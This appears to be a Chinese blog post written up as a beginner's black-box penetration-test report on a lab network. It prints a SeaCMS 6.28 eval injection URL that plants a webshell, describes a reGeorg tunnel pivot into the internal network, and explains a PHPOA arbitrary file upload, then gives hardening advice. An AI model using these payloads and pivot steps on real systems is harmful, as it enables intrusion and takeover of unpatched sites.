渗透分支写脚本_给小白的黑盒渗透测试作业——漏洞分析测试到安全加固建议...

概述

2016.12.22收到关于海洋网站及内网的的渗透测试项目,并对海洋CMS进行黑盒渗透测试。本次渗透测试对存在的漏洞进行了仔细的分析和测试,以了解该站点和对应的内网的安全程度,同时给出相应的安全加固建议。

2 实验环境

海洋CMS所在服务器为:

3e43dbf645ef1e2a551b87d5a9d9aa8b.png

图1

IP地址为:

外网:192.168.0.220

内网Vmnet3:192.168.80.111

因为该报告是针对海洋CMS及内网中的渗透测试,所以把海洋CMS所在的服务器设置了两个虚拟网卡,一个桥接在外网中(海洋CMS的地址):

8b05c235746793c87006efeb00d8fba3.png

图2

850793c3c453effc9c05c8ae2c962031.png

图3

0e202728005710716ef9798d15e129ad.png

图4

一个是内网中的地址(为了跟内网中的PHPOA所在的服务器通信):Vmnet3

721c39fbdaff5c0c75e8cae04767598b.png

图5

内网PHPOA CMS所在服务器:linux环境

a0914c147ed1d82b26674f9bc575de3e.png

图6

IP地址为:192.168.80.222

1c502440d2d2987da568a550aa8cc6d8.png

图7

0c285959b5682fe31e103880a6b5e5e7.png

图8

3 风险评估

海洋CMS中存在命令执行漏洞,该漏洞可以让攻击者直接在URL写入一句话木马,很是危险,会让攻击者直接拿到该站点的webshell,并借此来对内网攻击打下基础。

内网中的PHPOA站点存在任意文件上传漏洞,攻击者写一个上传的html页面,提交的地址写上有漏洞的文件上,就可以上传任意文件到服务器上,该漏洞可能导致攻击者直接上传木马文件到服务器上,拿到WebShell。

以上两条显示出海洋CMS及内网和内网中的PHPOACMS都面临着严重的安全问题,需要及时修补与防护。

4 原理分析

命令执行漏洞基本原理分析

由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

4.1.1海洋CMS6.28实例分析

经过一番测试和查找资料,发现在

http://192.168.0.220/search.php?searchtype=5&tid=1

有命令执行漏洞。

拿到webshell之后查看该站点下根目录下的search.php文件发现area参数处理过的地方经过字符是否非法判断之后,调用echoSearchPage()函数,area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

因为能执行PHP代码一般就是eval()函数搜索一下这个页面有eval函数的地方

$strElse1=$elsearray[1];

@eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");

if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);}else{$content=str_replace($iar[0][$m],$strElse1,$content);}

}

else{

@eval("if(".$strIf."){$ifFlag=true;}else{ $ifFlag=false;}");

if($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}

}

可以在这里下个断点,把变量打印出来,就可以清晰的看到就是在这执行了我们的命令

4.1.2漏洞的利用

在该注入点写上一句话木马

http://192.168.0.220

/search.php?searchtype=5&tid=&area=eval($_POST[xxx])

菜刀链接,密码为xxx

4.2任意文件上传漏洞解析

文件上传漏洞(File Upload Attack)是由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。

4.2.1对PHPOA系统的分析

在本地构造一个HTML提交页面,提交方式为POST,action写上http://192.168.80.222/phpoa/ntko/upLoadOfficeFile.php

7b955002420a8280d3da3519b70d8238.png

图9

利用这个提交的HTML页面可以让攻击者上传一定格式的文件,达到拿到该站点的WebShell作用。

5总体测试流程

海洋CMS(外网)站点渗透测试流程

1.在有漏洞的URL中写一句话木马

http://192.168.0.220/search.php?searchtype=5&tid=&area=eval($_POST[xxx])

2.使用菜刀链接,密码xxx

5b61b3d0bb7210af446d0d6645a86337.png

图10

成功拿到海洋CMS的webshell,只需要两步

3.打开终端查看一下我们的权限

12a15bf9475b871f2ac389b4c4219c97.png

4.权限system,很高的权限,如果有需要的话可以添加一个管理员用户的账号密码,来进行远程桌面登录,在该测试中不需要这样做,就不在赘述了。

内网主机发现

1.在海洋CMS的webshell的终端上 ipconfig看一下IP

f277300bc2a6ebe42a994103bd61c6bc.png

图12

发现除了在外网的一个200网段外,还有一个内网的80网段,那查看一下内网中都有什么机器,使用windows自带的命令arp来查看都有什么机器。

3523ac91de3f9e0670e89f49ab6c48c0.png

图13

发现有一台 192.168.80.222的主机,但是因为在内网中,外网无法访问此时就需要来使用代理,使外网中攻击者的主机可以访问处在内网80网端的192.168.80.222主机。

内网代理的配置

这里使用reGeorg脚本+proxifier代理工具

把一个脚本文件tunnel.nosocket.php放到海洋CMS的站点的一个能读取到目录下就可以,这里放到了根目录下的news目录下

C:phpstudyAWWWseacmsews

6c5efdf5b5636b5629ef2cd10b47da54.png

图14

2.使用浏览器访问

http://192.168.0.220/news/tunnel.nosocket.php

看是否可以在客户端读取到信息

f3771a610817ee82da9554e9fbc87760.png

图15

3.发现可以访问,此时使用脚本reGeorgSocksProxy.py来让海洋CMS的服务器开启web的80端口反弹到攻击者的8558端口

852193c94e13dc7f490d0b478534d001.png

图16

4.脚本运行成功,开启proxifier代理工具,来接收海洋服务器发来的数据包,此时在窗口中可以发现,已经成功代理。

86f06708ebdd2686bbbce750d7608f09.png

图17

5.通过测试机来访问内网中的服务器,成功。这个时候就可以对内网进行渗透测试了。

d455179f09f18f9a105b3f207f306eac.png

图18

内网PHPOA系统的测试

1.在本地搭建一个上传的HTML页面

3abbd44f5d746a07f660441a69b1b929.png

图19

2.第一个浏览处上传正常的文件 1.txt (内容可以乱写)

第二个浏览处上传一个一句话木马的php文件 xxx.php

2dea9daa8c02d41ec8cbcd4be723ecd3.png

图20

3.显示上传成功,使用菜刀连接

d7f9496b2b5115e4b0fed6cb6baf3374.png

图21

4.使用菜刀连接

http://192.168.80.222/ntko/uploadAttachFile/xxx.php

密码为xxx

202616cdff303e11ad8ec57793c23baa.png

图22

5.菜刀连接成功,成功拿到内网PHPOA的webshell

29211388447f4d1243e2e3d2e24fcc35.png

图23

6.查看IP地址和用户,发现是Apache的用户

4447388565b7423ca62fee2493fd5a1c.png

图24

7.由上图可知是用的Linux的系统搭建的服务器,内核也显示出来。但是是Apache用户,权限很低。

6 安全加固建议

由测试流程可知,只需知道用什么搭建的网站就可以直接渗透,很是危险。在外网中的站点海洋CMS和内网中的PHPOA系统根本不需要知道后台是什么,也不需要知道管理员的网站后台管理密码,直接拿webshell,这种漏洞应该需要及时修补。

海洋CMS:

1. 尽量使用脚本解决工作,少用执行命令函数,php中禁止disable_functions

2.程序参数的情况,escapshellcmd过滤

3.程序参数值的情况,escapeshellarg过滤

4.参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义

PHPOA:

1. 上传文件的存储目录禁用执行权限

2. 对上传的文件进行文件后缀名检测

3. 对上传文件的内容进行检测

4. 把/ntko/upLoadOfficeFile.php中的漏洞修复

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值